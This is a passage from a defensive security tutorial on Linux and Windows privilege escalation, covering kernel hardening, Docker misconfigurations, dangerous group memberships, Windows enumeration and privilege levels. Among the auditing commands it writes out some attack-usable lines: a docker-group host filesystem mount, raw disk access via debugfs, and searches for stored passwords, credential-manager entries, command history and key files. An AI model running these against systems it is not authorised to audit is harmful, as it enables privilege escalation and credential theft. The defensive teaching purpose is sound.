| Command | Purpose | Defensive Use |
|---|---|---|
uname -r |
Get kernel version | Cross-reference with vulnerability databases (CVE, NVD). |
cat /etc/os-release |
OS distribution and version | Determine which patches are applicable. |
apt list --installed | grep linux-image |
List installed kernel packages | Identify old kernels still present on system. |
dpkg -l | grep linux-image |
Debian/Ubuntu kernel package list | Multiple kernel versions indicate unremoved old kernels. |
linux-exploit-suggester (LES) can be used defensively to check if a system is vulnerable to known kernel exploits. It should only be used on systems you own.
🛡️ Defensive Strategy: Kernel Hardening
- Apply kernel updates within 48 hours for critical CVEs.
- Use live patching (Ksplice, KernelCare) for zero-downtime security.
- Remove old kernels after booting into patched version.
- Enable kernel hardening features:
CONFIG_DEBUG_CREDENTIALS,CONFIG_DEBUG_LIST. - Use
kernel.kptr_restrict=1,kernel.dmesg_restrict=1. - Enable SELinux or AppArmor in enforcing mode.
⚠️ Compilers in Production = Risk Multiplier
Kernel exploits often require compilation on the target system. If gcc or make is present on production servers, it dramatically increases the risk of successful privilege escalation.
gcc, make, clang) from production systems. Use a secure build server for compilation.
📊 Kernel Vulnerability Risk Matrix
| Factor | Low Risk | High Risk | Critical Risk |
|---|---|---|---|
| Kernel Version | Patched < 30 days | Unpatched > 6 months | EOL kernel (2.6.x, 3.x, 4.x without backports) |
| Compilers Present | No compilers | gcc installed | gcc + kernel headers + internet access |
| User Access | Restricted, authenticated users only | Multiple unprivileged users | Public-facing shell access |
- ✔ The kernel is fully patched.
- ✔ Compilers are not present on the system.
- ✔ Execution in writable directories is restricted (noexec mounts).
- ✔ Kernel logging and auditing are enabled.
21.15 Docker / Container Escapes (Conceptual & Defensive)
🐳 What is Container Escape?
📄 Full Article: Container EscapesContainer escape is a privilege escalation technique where a process inside a container breaks the isolation boundary and gains access to the host operating system. Since containers share the host kernel, a kernel vulnerability or misconfiguration can allow escape.
docker group can mount the host filesystem and execute commands as root without a password. This is not a vulnerability—it is by design—but it is a common and dangerous misconfiguration.
🔥 High-Risk Container Misconfigurations
| Misconfiguration | Description | Risk |
|---|---|---|
| User in docker group | Non-root user added to docker group | User can run containers with host filesystem mounts; full host root access |
| Privileged container | --privileged flag used |
Container has all capabilities; can access host devices, kernel modules, and escape |
| Host filesystem mounts | -v /:/host or --mount type=bind,source=/,target=/host |
Container can modify host binaries, shadow, SSH keys |
| --pid=host | Container shares host process namespace | Can see and interact with all host processes |
| --network=host | Container shares host network namespace | Can bind to host ports; bypass network isolation |
| --userns=host | User namespace remapping disabled | Container root = host root; reduces isolation |
| Capabilities not dropped | CAP_SYS_ADMIN, CAP_DAC_OVERRIDE present |
Increased kernel attack surface; easier escape |
🔍 Auditing Docker Security (Defensive Commands)
| Command | Purpose | Defensive Red Flag |
|---|---|---|
groups | grep docker |
Check if current user is in docker group | If yes, user has effective root access |
cat /etc/group | grep docker |
List all users in docker group | Any non-admin user in docker group |
| Command | Purpose | Defensive Red Flag |
|---|---|---|
docker ps --quiet |
List running container IDs | N/A - prerequisite command |
docker inspect --format='{{.Name}} {{.HostConfig.Privileged}}' $(docker ps -q) |
Check for privileged containers | {{.HostConfig.Privileged}} = true |
docker inspect --format='{{.Name}} {{.HostConfig.Binds}}' $(docker ps -q) |
Check host filesystem mounts | Mounts like [/:/host] or [/etc:/etc] |
docker inspect --format='{{.Name}} {{.HostConfig.CapDrop}}' $(docker ps -q) |
Check dropped capabilities | If [] or missing ALL |
docker inspect --format='{{.Name}} {{.HostConfig.ReadonlyRootfs}}' $(docker ps -q) |
Check read-only root filesystem | false means writable container |
docker inspect commands above use Go templates. The syntax is shown for defensive auditing purposes only.
⚠️ Docker Group Risk: Detailed Explanation
A user in the docker group can run:
docker run -v /:/mnt -it ubuntu bash
This mounts the entire host filesystem into the container. The user can then:
- Read/write any file on the host (
/etc/shadow, SSH keys). - Add a new root user by modifying
/etc/passwd. - Install SSH backdoors.
- Execute binaries on the host.
- Bypass all file permission restrictions.
This is NOT container escape—it is legitimate Docker functionality being misused.
⚠️ Privileged Containers: Full Host Access
A privileged container (--privileged) receives:
- All capabilities: CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_DAC_OVERRIDE, etc.
- Host devices: Access to
/dev/(including raw disks). - AppArmor/SELinux: Confinement is disabled.
- Seccomp: Filtering is disabled.
From a privileged container, an attacker can:
- Mount the host filesystem.
- Load kernel modules.
- Access raw disk devices.
- Modify iptables/routing.
- Use
nsenterto escape to host.
🚨 Privileged containers should never be used in production.
🛡️ Defensive Container Hardening
- Never add users to docker group.
- Avoid privileged containers.
- Use read-only root filesystem:
--read-only - Set no-new-privileges:
--security-opt=no-new-privileges:true - Drop all capabilities:
--cap-drop=ALL - Add only required capabilities.
- Use user namespaces:
--userns=remap - Limit resources:
--memory,--cpus - Enable AppArmor/SELinux.
- Use custom seccomp profiles.
- Scan images for vulnerabilities.
- Run Docker Bench Security.
📋 Secure Docker Run Examples
docker run -d \
--name nginx-secure \
--read-only \
--security-opt=no-new-privileges:true \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--cap-add=NET_RAW \
--user 101:101 \
--tmpfs /tmp:rw,noexec,nosuid,size=64m \
--tmpfs /var/run:rw,noexec,nosuid,size=64m \
--tmpfs /var/cache/nginx:rw,noexec,nosuid,size=128m \
nginx:alpine
✅ Nginx running as non-root, read-only filesystem, only NET_BIND_SERVICE and NET_RAW capabilities.
docker run -d \
--name postgres-secure \
--security-opt=no-new-privileges:true \
--cap-drop=ALL \
--cap-add=DAC_OVERRIDE \
--cap-add=SETGID \
--cap-add=SETUID \
--cap-add=CHOWN \
--user 999:999 \
--read-only \
-v /data/postgres:/var/lib/postgresql/data \
-e POSTGRES_PASSWORD=secret \
postgres:13
✅ PostgreSQL requires specific file capabilities. Data directory mounted with write access.
docker run -d \
--name app-secure \
--read-only \
--security-opt=no-new-privileges:true \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--user 1000:1000 \
--tmpfs /tmp:rw,noexec,nosuid \
--tmpfs /app/logs:rw,noexec,nosuid \
--security-opt=apparmor:my-custom-profile \
node:14-alpine npm start
✅ App runs as non-root, read-only, no new privileges, custom AppArmor profile.
🔍 Container Escape Detection (Defensive Monitoring)
| Detection Method | What to Monitor | Tool | Alert Example |
|---|---|---|---|
| Syscall Monitoring | mount, nsenter, unshare, pivot_root | Falco, Tracee, auditd | “Privileged container started” |
| File Integrity | Container root filesystem changes | docker diff, Tripwire, AIDE | New SUID binary in container |
| Kernel Module Loading | modprobe, insmod from containers | auditd, Falco | Kernel module loaded from container |
| Capability Usage | CAP_SYS_ADMIN, CAP_SYS_MODULE | AppArmor, SELinux audit logs | Denied capability use |
🛡️ Defensive Tools for Containers
- ✅ Docker Bench
- ✅ Trivy / Clair
- ✅ Kube-bench
- ✅ Grype
- ✅ Falco
- ✅ Tracee
- ✅ Cilium
- ✅ Aqua
- ✅ gVisor
- ✅ Kata
- ✅ Firecracker
- ✅ Youki
- ✅ CIS Benchmarks
- ✅ NIST SP 800-190
- ✅ NSA/CISA Kubernetes
✅ Container Security Defense-in-Depth Summary
- 🔹 Host Level: Patch kernel, remove compilers, audit users
- 🔹 Docker Daemon: No docker group, TLS auth, audit logs
- 🔹 Image Level: Vulnerability scanning, minimal base images
- 🔹 Runtime Level: No privileged, read-only, drop caps
- 🔹 Orchestration: Pod security policies, network policies
- 🔹 Monitoring: Falco/Tracee, behavioral analysis
- Remove user from docker group:
gpasswd -d username docker - Recreate privileged containers with
--cap-drop=ALLand only required caps - Review audit logs for potential container escape activity
- Scan host for unauthorized modifications
• Docker Security Documentation
• CIS Docker Benchmark
• NotesTime: Docker Container Escape Guide
• Kubernetes Security Concepts
21.16 Weak File Permissions & Group Membership Abuse (Conceptual & Defensive)
📁 What Are Weak File Permissions?
📄 Full Article: Weak PermissionsWeak file permissions occur when files or directories are writable by users who should not have write access. This includes world-writable system files, configuration files with group write permissions, and backup files with incorrect ownership.
Group membership abuse occurs when users are added to privileged groups (disk, adm, video, docker) without understanding the access these groups grant.
🔥 Dangerous Group Memberships
| Group | Purpose | Risk if Misassigned |
|---|---|---|
disk |
Access raw disk devices | Can read/write any file on the system via /dev/sda*; full system compromise |
adm |
Read system log files | Logs may contain passwords, API keys, and sensitive information |
shadow |
Read /etc/shadow | Direct access to password hashes; offline cracking |
sudo / wheel |
Administrative group | Full root access via sudo |
docker |
Manage Docker | Root-equivalent (mount host filesystem) |
video |
Access framebuffer devices | Can capture screen content; potential keylogging |
audio |
Access audio devices | Can capture microphone input |
🔍 Auditing Permissions & Groups (Defensive)
| Command | Purpose | Defensive Red Flag |
|---|---|---|
find / -writable -type f 2>/dev/null | grep -v "^/proc" |
Find world-writable files | System binaries, config files, scripts with 777/667 permissions |
find / -perm -2 -type f 2>/dev/null | grep -v "^/proc" |
World-writable files (alternate) | Same as above |
find /etc/ -type f -perm -o+w 2>/dev/null |
World-writable config files | CRITICAL: Any writable file in /etc |
find / -group disk -ls 2>/dev/null |
Files owned by disk group | If not device files, investigate |
getent group disk |
Users in disk group | Any non-root user in disk group |
getent group adm |
Users in adm group | Review if necessary; logs may contain secrets |
getent group docker |
Users in docker group | Root-equivalent access |
find / -perm -4000 -type f 2>/dev/null |
SUID binaries | Cross-reference with GTFOBins |
⚠️ Real-World Group Abuse Scenarios
Misconfiguration: User added to disk group for "convenience" to mount USB drives.
Actual Access: debugfs /dev/sda1 allows reading/writing any file on the filesystem, bypassing all file permissions.
Defense: Use udisks, pmount, or polkit for removable media—never add users to disk group.
Misconfiguration: Developer added to adm group to troubleshoot application logs.
Actual Access: Can read all logs in /var/log, including authentication logs with usernames and possibly passwords.
Defense: Use centralized logging (ELK, Splunk) with role-based access control; avoid direct log file access.
🛡️ Defensive Hardening
- ✅ Regular Permission Audits: Automate weekly scans for world-writable system files.
- ✅ Group Membership Reviews: Quarterly audit of all privileged groups (
disk,adm,docker,sudo). - ✅ Remove World-Writable Permissions:
find / -type f -perm -0002 -exec chmod o-w {} \;(with caution). - ✅ Use ACLs for Fine-Grained Control:
setfaclandgetfaclinstead of broad group permissions. - ✅ Immutable Files:
chattr +i /etc/passwd /etc/shadow /etc/sudoersprevents accidental/writable modifications.
- LinPEAS: Highlights dangerous group memberships (disk, docker, adm).
- Lynis: Security auditing tool that checks file permissions and group memberships.
- Tiger: Legacy but effective for permission checks.
21.17 Windows Enumeration Basics (Defensive System Auditing)
- Discover unauthorized user accounts and group memberships
- Identify insecure service configurations
- Detect missing security patches
- Audit registry permissions and autorun entries
- Validate compliance with security baselines
🪟 What is Windows Enumeration?
Windows enumeration is the process of extracting detailed information from a Windows operating system to understand its current state, configuration, and security posture. Unlike Linux, Windows has unique security constructs: Access Tokens, Integrity Levels, Security Identifiers (SIDs), Group Policy Objects (GPOs), and the Windows Registry.
🖥️ 1. System Identification & OS Information
Understanding the Windows version, build number, patch level, and architecture is the foundation of any security assessment. This information determines which security updates are missing and helps identify kernel-level vulnerabilities.
| Command | Purpose | Defensive Red Flag |
|---|---|---|
systeminfo |
Displays comprehensive OS configuration, hotfixes, and build number | Missing security patches; end-of-life OS (Windows 7, Server 2008) |
hostname |
Shows computer name | Hostname may reveal role (DC, SQL, WEB, PROD) |
wmic os get Caption,Version,CSDVersion,BuildNumber |
Detailed OS version using WMI | Unsupported OS versions |
Get-ComputerInfo | Select WindowsProductName, WindowsVersion, OsBuildNumber |
PowerShell equivalent (modern systems) | Compare against current build numbers |
wmic qfe list brief /format:table |
List installed patches (Quick Fix Engineering) | Missing critical patches (PrintNightmare, Zerologon, EternalBlue) |
Get-HotFix | Sort-Object InstalledOn |
PowerShell patch enumeration | Old patches indicate poor patch management |
echo %PROCESSOR_ARCHITECTURE% |
System architecture (x86, AMD64, ARM64) | 32-bit systems have different exploit mitigations |
👥 2. User & Group Enumeration
User and group enumeration reveals who has access to the system, what privileges they hold, and whether any accounts are misconfigured, orphaned, or overly privileged. This is critical for detecting privilege creep and excessive permissions.
| Command | Purpose | Defensive Red Flag |
|---|---|---|
whoami |
Display current username | If output contains "SYSTEM" or "NT AUTHORITY\SYSTEM", audit is running with highest privileges |
whoami /priv |
CRITICAL: List enabled and disabled privileges for current user | SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege |
whoami /groups |
Show group memberships and attributes | Membership in Administrators, Domain Admins, Enterprise Admins (for non-admin users) |
net user |
List all local users | Unfamiliar accounts, disabled accounts still present, guest account enabled |
net user <username> |
Detailed information about specific user | Password never expires, user has change password at next logon disabled, active outside business hours |
net localgroup |
List all local groups | Baseline comparison against standard groups |
net localgroup Administrators |
CRITICAL: List members of local Administrators group | Any non-approved user in Administrators group; domain users unexpectedly added |
Get-LocalUser | Select-Object Name,Enabled,PasswordExpires |
PowerShell local user enumeration | Disabled accounts not removed, password never expires |
Get-LocalGroupMember -Group "Administrators" |
PowerShell administrator group audit | Same as above - unauthorized members |
query user |
Display currently logged-in users (RDP/console) | Multiple concurrent sessions, idle sessions not disconnected |
qwinsta |
Legacy query for RDP sessions | Same as above |
SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege, this is a severe misconfiguration. These privileges allow token impersonation and can lead to SYSTEM-level access. Common with IIS, SQL Server, and MSSQL service accounts.
🌐 3. Network Enumeration
Network enumeration identifies listening services, active connections, firewall rules, and domain membership. This helps defenders understand the system's network exposure and detect unauthorized backdoors or lateral movement paths.
| Command | Purpose | Defensive Red Flag |
|---|---|---|
ipconfig /all |
Display IP configuration, DNS servers, DHCP status | Multiple NICs, unexpected DNS servers, DHCP on servers |
netstat -ano |
CRITICAL: Display all active connections and listening ports with PID | Unauthorized listening ports, connections to unknown external IPs, backdoors |
netstat -r |
Display routing table | Persistent routes, multiple default gateways |
Get-NetTCPConnection -State Listen |
PowerShell listening port enumeration | Same as netstat -ano |
arp -a |
ARP cache - recent neighbors | Unexpected devices in same subnet |
nslookup <hostname> |
DNS resolution test | DNS misconfiguration, internal hostnames resolving externally |
route print |
IPv4 and IPv6 routing tables | Same as netstat -r |
netsh advfirewall show allprofiles |
Display Windows Firewall status per profile | Firewall disabled on domain profile; overly permissive inbound rules |
netsh firewall show state |
Legacy firewall enumeration | Same as above |
tasklist | findstr <PID> to identify unknown or rogue processes.
⚙️ 4. Service & Process Enumeration
Service and process enumeration reveals which applications are running, under which user context, and whether any services are configured with excessive privileges. Misconfigured services are the most common Windows privilege escalation vector.
| Command | Purpose | Defensive Red Flag |
|---|---|---|
tasklist |
List running processes | Unfamiliar processes, multiple instances of same process, processes running as SYSTEM |
tasklist /v |
Verbose process list with user context | Processes running as SYSTEM that should run as lower privilege (web servers, database servers) |
tasklist /svc |
Processes with associated services | Map PID to service name for netstat correlation |
Get-Process | Sort-Object CPU -Descending |
PowerShell process enumeration | High CPU/memory usage from unusual processes |
sc query |
List all services and their status | Stopped but enabled services, services in "manual" that should be "disabled" |
sc query state= all |
List all services (running + stopped) | Complete service inventory |
sc qc <service_name> |
CRITICAL: Query service configuration (binary path, start type, account) | Unquoted service paths, service running as SYSTEM, weak permissions on binary path |
Get-WmiObject win32_service | Select-Object Name, PathName, StartName, State |
PowerShell service enumeration | Same as sc qc - automated collection |
wmic service get name,pathname,startname,startmode |
WMI service enumeration | Services running as SYSTEM that don't require it |
icacls <service_binary_path> |
CRITICAL: Check file permissions on service binary | BUILTIN\Users:(W) or Everyone:(W) write access |
- Unquoted Service Path: Path contains spaces and is not enclosed in quotes - allows binary hijacking
- Weak Service Permissions: Standard users can modify service configuration (sc config)
- Weak Binary Permissions: Standard users can replace service executable
- Services Running as SYSTEM: Unnecessary privileged accounts increase attack surface
📋 5. Registry Enumeration (Critical Security Settings)
The Windows Registry stores configuration data for the OS, applications, and services. Many privilege escalation vectors involve registry misconfigurations, including AlwaysInstallElevated, autorun entries, and weak ACLs.
| Command | Purpose | Defensive Red Flag |
|---|---|---|
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall |
List installed applications | Outdated software versions, unauthorized applications |
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
Current user autorun entries | Unauthorized startup programs |
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
System-wide autorun entries | Unauthorized or suspicious autoruns (persistence mechanism) |
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated |
CRITICAL: Check for AlwaysInstallElevated policy | Value = 1 (0x1) - Any user can install MSI packages with SYSTEM privileges |
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated |
CRITICAL: Check user policy (must match HKLM) | Same as above - both must be 0 |
reg query HKLM\SYSTEM\CurrentControlSet\Services |
List all service registry keys | Weak permissions on service registry keys (ImagePath, FailureCommand) |
Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\<service> | Format-List |
Check registry ACLs on service key | Non-admin users with Write/FullControl access |
📁 6. Filesystem & Permission Auditing
Filesystem enumeration identifies world-writable directories, sensitive files with weak permissions, unattended installation files containing credentials, and searchable configuration files with passwords.
| Command | Purpose | Defensive Red Flag |
|---|---|---|
dir /a C:\Users\ |
List all user profiles | Orphaned profiles, profiles of terminated employees |
dir /s C:\*.exe |
Search for executables | Executables in user-writable directories |
dir /s *pass* == *.config == *.xml == *.txt |
Search for files containing "pass" in name | Configuration files with plaintext passwords |
icacls C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup |
Check permissions on startup folder | Users group has write access - persistence vector |
icacls C:\Windows\System32\config\SAM |
Check SAM hive permissions | If readable by non-SYSTEM - CRITICAL |
icacls C:\Windows\System32\config\SYSTEM |
Check SYSTEM hive permissions | If readable by non-SYSTEM - CRITICAL |
findstr /si password *.xml *.ini *.txt *.config |
Search for password strings in files | Plaintext credentials in web.config, Unattend.xml, appsettings.json |
Unattend.xml, autounattend.xml, sysprep.inf, and unattended.txt often contain plaintext administrator passwords. These files are sometimes left on systems after deployment and are world-readable.
🔑 7. Credential & Secrets Enumeration
Credential enumeration identifies stored passwords, hashes, and secrets that can be used for lateral movement or privilege escalation. This includes saved RDP credentials, SSH keys, DPAPI secrets, and browser-stored passwords.
| Command | Purpose | Defensive Red Flag |
|---|---|---|
cmdkey /list |
List stored credentials in Windows Credential Manager | Stored domain/admin credentials that can be reused |
dir C:\Users\*\.ssh\* |
Find SSH private keys | World-readable private keys (id_rsa, id_dsa) |
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt |
PowerShell command history | Passwords typed in plaintext, credentials in scripts |
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue |
Find KeePass databases | Password databases without master key protection |
🛠️ 8. Automated Enumeration Tools (Defensive Use)
Automated enumeration tools help defenders quickly assess systems for common misconfigurations. These tools should be used only on systems you own or have explicit permission to audit.
| Tool | Purpose | Defensive Application |
|---|---|---|
| WinPEAS | Windows Privilege Escalation Awesome Script - enumerates services, registry, credentials, etc. | Comprehensive system security audit; color-coded output highlights high-risk findings |
| Seatbelt | C# tool for security configuration analysis | Quick assessment of system security posture; useful for incident response |
| PowerUp | PowerShell tool for service/privilege misconfigurations | Identifies unquoted service paths, weak service permissions, AlwaysInstallElevated |
| SharpUp | C# port of PowerUp | Same as PowerUp, but executes from memory without PowerShell |
| PrivescCheck | PowerShell script for privilege escalation checks | Detailed reporting with remediation guidance |
| AccessChk (Sysinternals) | Check permissions on files, registry, services | Manual verification of ACLs and permissions |
📋 Windows Enumeration - Defensive Checklist Summary
systeminfo
wmic qfe list brief
Get-HotFix
winver
whoami /priv
net localgroup Administrators
Get-LocalGroupMember
query user
netstat -ano
ipconfig /all
arp -a
netsh advfirewall
sc query
sc qc <service>
icacls <binary_path>
wmic service
reg query HKLM\...\Run
reg query HKLM\...\AlwaysInstallElevated
Get-Acl HKLM:\...\Services
icacls C:\
findstr /si password *.config
cmdkey /list
dir *.kdbx /s
✅ Defensive Enumeration Summary
Regular Windows enumeration is a system administrator's best practice, not just a penetration tester's tool. Auditing your own systems using this checklist will:
- ✅ Identify unauthorized administrator accounts and privilege creep
- ✅ Detect unpatched systems before attackers exploit them
- ✅ Discover service misconfigurations (unquoted paths, weak permissions)
- ✅ Find exposed credentials in configuration files and history
- ✅ Validate compliance with security baselines (CIS, NIST)
- Manual Baseline: Use commands above to understand normal system state
- Automated Scanning: Run WinPEAS/Seatbelt weekly for comprehensive checks
- Remediation: Fix high-risk findings immediately (AlwaysInstallElevated, weak service permissions)
- Verification: Re-audit after changes to confirm hardening
- Continuous Monitoring: Deploy Sysmon, auditd for Windows, or EDR for real-time detection
Section 21.17 Complete — Windows Enumeration Basics for Defensive System Auditing
21.18 Understanding Windows Privilege Levels (User, Admin, SYSTEM, TrustedInstaller)
🏛️ The Windows Privilege Hierarchy
📄 Full Article: Windows Privilege LevelsUnlike Linux's simple "root vs user" model, Windows has multiple distinct privilege tiers, each with different capabilities, access levels, and security boundaries. A process or user's privilege level determines what system resources they can access, what security policies they can bypass, and what damage they can cause.
👤 1. Standard User (Lowest Privilege - Least Privilege Principle)
Standard User is the baseline privilege level for normal, everyday work. A standard user can only modify resources they own (their profile, temporary files, HKCU registry hive) and cannot make system-wide changes.
- Integrity Level: Medium
- SID: DOMAIN\Username
- Groups: Users, Authenticated Users
- Privileges: Minimal
📋 What a Standard User CAN Do:
- ✅ Read/write files in their own user profile (
C:\Users\username\) - ✅ Modify their own registry hive (
HKEY_CURRENT_USER) - ✅ Run applications that don't require administrative privileges
- ✅ Print, browse the web, use office applications
- ✅ Change their own password and personalize their desktop
🚫 What a Standard User CANNOT Do:
- ❌ Install system-wide software or drivers
- ❌ Modify system files (
C:\Windows\,C:\Program Files) - ❌ Modify HKLM (Local Machine) registry hive
- ❌ Create/modify local user accounts
- ❌ Disable antivirus or firewall
- ❌ Access other users' files without explicit permission
🛡️ 2. Administrator (Elevated Privileges)
Administrator is a privileged account that can make system-wide changes. However, Windows implements User Account Control (UAC), which means administrators run with two tokens: a filtered (standard) token for normal operations and a full administrator token only when explicitly elevated.
- Integrity Level: High (when elevated)
- SID: BUILTIN\Administrators
- Groups: Administrators, Users
- Privileges: SeBackupPrivilege, SeRestorePrivilege, SeShutdownPrivilege, etc.
📋 What an Administrator CAN Do:
- ✅ Install/uninstall software and drivers
- ✅ Modify system files and HKLM registry
- ✅ Create, modify, delete local user accounts
- ✅ Start/stop system services
- ✅ Configure firewall, Windows Update, security policies
- ✅ Access all user files (with ownership/permission changes)
- ✅ Audit logs and security events
⚠️ Administrator Limitations:
- ⚠️ Cannot access certain SYSTEM-level processes (LSASS, CSRSS, wininit)
- ⚠️ Cannot modify protected system files in use by TrustedInstaller
- ⚠️ Cannot bypass certain kernel-level security controls
- ⚠️ Still subject to UAC and integrity level restrictions
⚙️ 3. LOCAL SYSTEM (NT AUTHORITY\SYSTEM) - The True "Root"
LOCAL SYSTEM (SYSTEM) is the highest privilege level on a local Windows machine. It is the operating system's own account, with unrestricted access to all local resources. SYSTEM is NOT a user account—it's the computer itself.
- Integrity Level: System
- SID: S-1-5-18
- Groups: Everyone, Authenticated Users, Administrators (implicitly)
- Privileges: ALL (nearly all privileges enabled)
📋 What SYSTEM Can Do That Administrator Cannot:
- 🔹 Access the SAM hive and interact with the Security Account Manager directly
- 🔹 Dump LSASS process memory (where passwords and hashes reside)
- 🔹 Load kernel-mode drivers
- 🔹 Create processes in any session, including Session 0
- 🔹 Bypass most security policy restrictions
- 🔹 Take ownership of any object, including those protected by TrustedInstaller
- 🔹 Access kernel objects and raw disk volumes
🏭 Which Processes Run as SYSTEM?
| Process | Description |
|---|---|
winlogon.exe |
Windows Logon process |
services.exe |
Service Control Manager (parent of most services) |
lsass.exe |
Local Security Authority Subsystem Service (authentication) |
svchost.exe |
Many critical Windows services (RPC, DCOM, DNS, DHCP) |
csrss.exe |
Client/Server Runtime Subsystem |
🔒 4. TrustedInstaller (Windows Module Installer)
TrustedInstaller is a security principal that owns critical Windows system files. Even SYSTEM cannot modify certain protected resources because TrustedInstaller is the explicit owner with exclusive write permissions.
- SID: S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464
- Service: TrustedInstaller.exe
📋 TrustedInstaller Characteristics:
- ✅ Owner of all protected Windows system files (
C:\Windows\*.dll, *.exe, *.sys) - ✅ Can modify files that even SYSTEM cannot write to
- ✅ Only active during Windows Update, component servicing, and .NET optimization
- ✅ Designed to prevent tampering with OS integrity
📊 5. Integrity Levels (Mandatory Integrity Control - MIC)
Integrity Levels are a Windows security mechanism that restricts what processes can do based on their trust level. This is separate from user/group membership. A process cannot write to a resource with a higher integrity level.
| Integrity Level | Value | Description | Examples |
|---|---|---|---|
| Untrusted | 0 | Lowest possible level; very restricted | Anonymous network connections, restricted tokens |
| Low | 1 | Read/execute only; cannot write to most locations | Internet Explorer (Protected Mode), Chrome sandbox |
| Medium | 2 | Default for standard users and non-elevated admins | Most applications, normal user processes |
| High | 3 | Elevated administrator privileges | Processes run as "Run as administrator" |
| System | 4 | Kernel, SYSTEM account | LSASS, winlogon, services.exe |
| Installer | 5 | TrustedInstaller | Windows Update, MSI installations |
whoami /groups and look for "Mandatory Label\High Mandatory Level" (High), "Medium Mandatory Level" (Medium), or "Low Mandatory Level" (Low).
🔄 6. Special Service Accounts
| Account | SID | Privilege Level | Network Access | Best Practice |
|---|---|---|---|---|
| LocalService | NT AUTHORITY\LOCAL SERVICE | Limited local privileges, anonymous network | No credentials; null session | ✅ Minimal privileges; good for internal services |
| NetworkService | NT AUTHORITY\NETWORK SERVICE | Limited local privileges, network credentials as computer | Authenticates as machine account | ✅ Good for services needing network access |
| Virtual Service Accounts | NT SERVICE\<ServiceName> | Isolated, least-privilege per service | Restricted | ✅ Modern best practice; introduced in Windows 2008 R2 |
| Managed Service Accounts (gMSA) | DOMAIN\<AccountName$> | Domain-joined, automatic password rotation | Controlled | ✅ Domain services; passwords managed by AD |
- 🔹 Virtual Service Account (isolated, no network) → Best
- 🔹 LocalService (limited local, no credentials) → Good
- 🔹 NetworkService (limited local, network auth) → Acceptable
- 🔹 Custom local user → Only if necessary
- 🔹 NEVER use SYSTEM or Administrator for services
🎟️ 7. Access Token Types (Primary vs Impersonation)
Assigned to a process. Defines the security context of that process. Every process has one primary token.
Defense: Monitor for processes created with unusual primary tokens.
Assigned to a thread within a process. Allows a server to "impersonate" a client's security context.
Defense: SeImpersonatePrivilege should NOT be granted to standard users.
SeImpersonatePrivilege, they can impersonate SYSTEM tokens and gain full control. This is a critical finding.
⚠️ 8. How Privilege Escalation Moves Through These Levels
Understanding the hierarchy of privilege levels explains how Windows privilege escalation attacks progress:
| Level | Role | Integrity Level (IL) | Next Level |
|---|---|---|---|
| 1 | 👤 Standard User | Medium IL | → Administrator |
| 2 | 🛡️ Administrator | High IL | → LOCAL SYSTEM |
| 3 | ⚙️ LOCAL SYSTEM | System IL | → TrustedInstaller |
| 4 | 🔒 TrustedInstaller | Installer IL | Highest Privilege |
📋 Common Escalation Paths (Defensive View):
- Standard → Admin: UAC bypass, service misconfigurations, sudo-like vulnerabilities
- Admin → SYSTEM: Token impersonation (SeImpersonatePrivilege), service escalation, kernel exploits
- SYSTEM → TrustedInstaller: Token manipulation, Windows Update vulnerabilities, specific service abuse
🛡️ 9. Defensive Checklist - Managing Windows Privileges
- ✓ Users run as Standard User, NOT Administrator
- ✓ UAC enabled at default level (not disabled)
- ✓ Regular audits of local Administrators group
- ✓ LAPS (Local Administrator Password Solution) deployed
- ✓ Guest account disabled
- ✓ No services run as SYSTEM unless required
- ✓ Use Virtual Service Accounts or gMSAs
- ✓ Unquoted service paths audited and fixed
- ✓ Service binary permissions are restrictive
- ✓ Weak service permissions remediated
whoami /priv and whoami /groups should be part of every security assessment to understand current privilege context.
- Administrator Protection: New feature that further isolates administrator tokens
- Credential Guard: Virtualization-based protection for LSASS secrets
- Local Security Authority (LSA) Protection: Prevents untrusted processes from accessing LSA
📋 Quick Reference: Identify Current Privilege Level
| Command | What It Shows | What to Look For |
|---|---|---|
whoami |
Current username | "nt authority\system" = SYSTEM; "domain\username" = user |
whoami /priv |
Enabled privileges | SeImpersonatePrivilege, SeDebugPrivilege, SeTakeOwnershipPrivilege |
whoami /groups |
Group memberships and integrity level | "Mandatory Label\High Mandatory Level" = elevated admin |
net localgroup Administrators |
Local admin group members | Unauthorized users or domain groups |
sc qc <service> |
Service account context | SERVICE_START_NAME = LocalSystem (should be least privilege) |
✅ Windows Privilege Levels - Key Takeaways
- Standard User: Baseline, least privilege - where users SHOULD run
- Administrator: Elevated, but limited by UAC - more than user, less than SYSTEM
- LOCAL SYSTEM: Highest local privilege - the computer itself
- TrustedInstaller: Owner of protected system files - even SYSTEM can't modify
- Integrity Levels: Separate from privileges - prevents lower IL from writing to higher IL
- Service Accounts: Use least privilege - NEVER run third-party services as SYSTEM
• Microsoft - Access Control Overview
• Microsoft - Privileges (Windows Security)
• Mandatory Integrity Control
• NotesTime: Windows Privilege Levels Guide
21.31 WinPEAS & Windows Automated Enumeration (Defensive Auditing)
- Identify misconfigured services and weak permissions before attackers do
- Audit Windows systems for compliance with security baselines
- Discover stored credentials and sensitive information in plaintext
- Validate system hardening after security patches
- Train blue teams to recognize common Windows misconfigurations
🪟 What is WinPEAS?
WinPEAS (Windows Privilege Escalation Awesome Script) is a comprehensive Windows enumeration tool developed by Carlos Polop as part of the PEASS-ng project. It automates the process of scanning Windows systems for security misconfigurations that could lead to privilege escalation.
- ✅ System Information & OS Version
- ✅ User & Group Memberships
- ✅ Token Privileges (SeImpersonate, etc.)
- ✅ Service Misconfigurations
- ✅ Unquoted Service Paths
- ✅ Weak Service Permissions
- ✅ Registry Misconfigurations
